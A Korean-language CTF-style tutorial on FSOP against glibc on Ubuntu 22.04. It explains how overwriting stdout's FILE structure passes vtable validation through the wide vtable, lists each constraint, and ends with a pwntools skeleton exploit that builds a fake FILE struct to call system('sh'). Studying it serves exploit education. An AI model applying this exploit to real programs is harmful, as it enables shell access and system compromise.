FSOP (Ubuntu 22.04)

» Hacking-Tips

libc 주소를 알고 있는 상황이기 때문에, libc에 존재하는 파일 구조체인 stdout에 overwrite함으로 rip와 rdi control을 시도할 수 있습니다.

AAW 이후에 puts함수를 호출하면서 stdout의 vtable에 있는 xsputn 함수 포인터의 코드를 실행시키게 됩니다(printf함수도 동일). 그러면 AAW를 통해 stdout 파일 구조체를 overwrite하여 vtable의 함수 포인터를 system을 가리키도록 하면 실행 흐름을 옮길 수 있습니다. 허나 Glibc가 업데이트 되면서 vtable에 검증 과정이 생겨났는데,

Untitled

넘겨 받은 vtable이 libc의 vtable section 안에 존재하는지 검증합니다. 그래서 vtable을 fake table로 조작하게 된다면 이 검증을 통과하지 못합니다.

이 검증을 통과하기 위해서는 vtable section 내부에서 rip를 제어할 수단이 필요합니다.

대신에 vtable section 내부에는 wide_vtable을 참조하는 루틴이 있는데, wide vtable에서는 위와 같은 검증이 존재하지 않아 wide_vtable을 참조할 때 rip를 제어하는 것이 가능합니다.

본래 정상적인 file structure에서의 vtable 참조에서는

IO_sputnIO_XSPUTNJUMP2(__xsputn, …)IO_JUMPS_FUNC(THIS)→__xsputn을 호출하고

IO_JUMPS_FUNC(THIS)에서 vtable 검증이 존재합니다.

하지만 __xputn__overflow 가 되도록 덮어주면,

IO_sputnIO_XPUTNJUMP2(__xsputn, …)IO_JUMPS_FUNC(THIS)→__xputn에서 __xputn 대신 __overflow가 위치에 있게 되는 것인데, overflow 역시 vtable section 안에 있기에 검증을 통과하고

IO__JUMPS_FUNC(THIS)→__xputn에서 IO→wfile_overflow를 호출하게 되고,

이는 다시 IO→wdoallocbufIO_WDOALLOCATE(fp) 순으로 실행 흐름이 넘어갑니다.

이러면 wide vtable로 실행이 넘어가게 되며 wide vtable에서는 검증이 존재하지 않아 여기서 fake table을 넣어주게 된다면 rip를 임의로 조작할 수 있게 됩니다.

인자의 경우에는 원하는 곳으로 rip가 넘어가기 직전에 _IO_WDOALLOCATE (fp) 호출로 인하여 fp에 해당하 stdout 주소가 rdi로 들어가게 되는데 이렇게 되면 File 구조체의 첫 번째 멤버 변수인 _flags를 변조함으로써 rdi에 sh문자열을 입력할 수 있게 됩니다.

이러한 FSOP 과정을 문제 환경(우분투 22.04 환경)의 libc에서 검증을 통과하도록 진행해주면 쉘을 획득할 수 있습니다.

검증을 통과하기 위한 제약 조건을 정리하면 다음과 같습니다.

  • puts
    1. fp->lock → rw
    2. fp->vtable->__xsputn == _IO_wfile_overflow
  • _IO_wfile_overflow
    1. fp->_flags & _IO_NO_WRITES == 0
    2. fp->_flags & _IO_CURRENTLY_PUTTING == 0
    3. fp->_wide_data->_IO_write_base == 0
  • _IO_wdoallocbuf
    1. fp->_wide_data->_IO_buf_base == 0
    2. fp->_flags & _IO_UNBUFFERED == 0
    3. fp->_wide_data->_wide_vtable_->__doallocate == libc_system

하나씩 살펴보겠습니다.

puts

Untitled

  1. fp→lock : rw
    • acquire lock을 하기 위해서는 lock 변수가 rw 가능한 영역을 가리키고 있어야 합니다.
    • lock 변수에 stdout+0x10을 넣어주면 해결 가능합니다.
  2. fp->vtable->__xsputn == _IO_wfile_overflow
    • vtable 검증을 우회하기 위해서는 vtable 함수 포인터 값이 vtable section 안에 존재해야 합니다. 그래서 검증이 없는 wide vtable을 참조하는 vtable section 내부 루틴인 IO_wfile_overflow가 xsputn이 되도록 vtable을 맞춰줍니다.

    Untitled

    • fp->vtable = libc['_IO_wfile_jumps'] - 0x20 으로 설정하면 fp->vtable->__xsputn == _IO_wfile_overflow 가 됩니다.
    • 이렇게 되면 puts에서 xsputn을 실행시킬 때, vtable 검증을 우회시키면서 wide vtable로 실행 흐름을 넘기게 되고, wide vtable에서는 vtable 검증이 존재하지 않으므로 wide vtable 값을 잘 조작해 주면 원하는 곳으로 실행 흐름을 옮길 수 있습니다.

_IO_wfile_overflow

Untitled

  1. f->_flags & _IO_NO_WRITES == 0
  2. f->_flags & _IO_CURRENTLY_PUTTING == 0
  3. f->_wide_data->_IO_write_base == 0

IO_wdoallocbuf (f)가 실행되어야 하기 때문에, if문에서 걸리는 제약조건은 다음과 같습니다.

_IO_wdoallocbuf

Untitled

  1. fp->_wide_data->_IO_buf_base == 0
  2. fp->_flags & _IO_UNBUFFERED == 0
  3. fp->_wide_data->_wide_vtable_->__doallocate == libc_system

IO_WDOALLOCATE (fp)가 실행되어야 하기 때문에, if문에서 걸리는 제약조건은 다음과 같습니다.

wfile_overflow와 wdoallocbuf의 제약 조건에서

flags 멤버 변수의 경우에는 sh 문자열이 들어가야 합니다. 문자열을 작성할 때, 해당 검증을 통과할 수 있도록 sh 문자열을 작성해야 합니다.

flag 멤버 변수의 제약 조건을 정리해 보면,

_flags & _IO_NO_WRITES == 0

_flags & _IO_CURRENTLY_PUTTING == 0

_flags & _IO_UNBUFFERED == 0

Untitled

fp._flags = b"\x01\x01;sh;\x00\x00”

위와 같이 작성해 주면, 검증을 통과하면서 RDI에 쉘 문자열을 넣어줄 수 있습니다.

flag외에 _wide_data와 관련한 제약 조건들도 존재합니다. 정리해보면,

  1. f->_wide_data->_IO_write_base == 0
  2. fp->_wide_data->_IO_buf_base == 0
  3. fp->_wide_data->_wide_vtable_->__doallocate == libc_system

wide data의 구조는 아래와 같은데,

Untitled

*(wide_data+24 == 0), *(wide_data+48 == 0),

((wide_data + 224) + 104) == libc_system

이 조건을 만족하기 위해서, stdout을 재활용하겠습니다.

fp->_wide_data = &*IO_2_1_stdout* - 16 로 설정할 경우에,

Untitled

*(wide_data+24 == 0), *(wide_data+48 == 0) 이 두 가지 조건을 충족시킬 수 있고

(wide_data+24가 stdout+8이 됨 → IO_read_ptr을 0으로 만들어 주면 됨)

(wide_data+48은 stdout+32가 됨 → IO_write_base를 0으로 만들어 주면 됨)

*(*(wide_data+224)+104)의 경우에는 ((stdout→_unused2[12])+104)가 됩니다.

여기서 stdout→_unused2[12]&fp→_unused2-104를 넣어주고, &fp→_unused2에 libc_system 주소를 넣어주면

fp→_wide_data→wide_vtable→__doallocate == system이 되도록 설정할 수 있습니다.

Skeleton Code

from pwn import *

p = process("./chall")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

def slog(n, m): return success(': '.join([n, hex(m)]))

##########################################
# To Do
# libc base + system_addr + stdout_addr

stdout =
libc_base =
system_addr =
slog("libc base", libc_base)
slog("system address", system_addr)
##########################################

libc.address = libc_base
def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

_IO_file_jumps = libc.symbols['_IO_file_jumps']
stdout = libc.symbols['_IO_2_1_stdout_']
log.info("stdout: " + hex(stdout))
FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
        lock            = libc.symbols['_IO_2_1_stdout_'] + 0x10, \
        _IO_read_ptr    = 0x0, \
        _IO_write_base  = 0x0, \
        _wide_data      = libc.symbols['_IO_2_1_stdout_'] - 0x10, \
        _unused2        = p64(libc.symbols['system'])+ b"\x00"*4 + p64(libc.symbols['_IO_2_1_stdout_'] + 196 - 104), \
        vtable          = libc.symbols['_IO_wfile_jumps'] - 0x20, \
        )

###### Arrange Code If you need ######
p.sendline(hex(stdout).encode('ascii'))
p.send(FSOP)

p.interactive()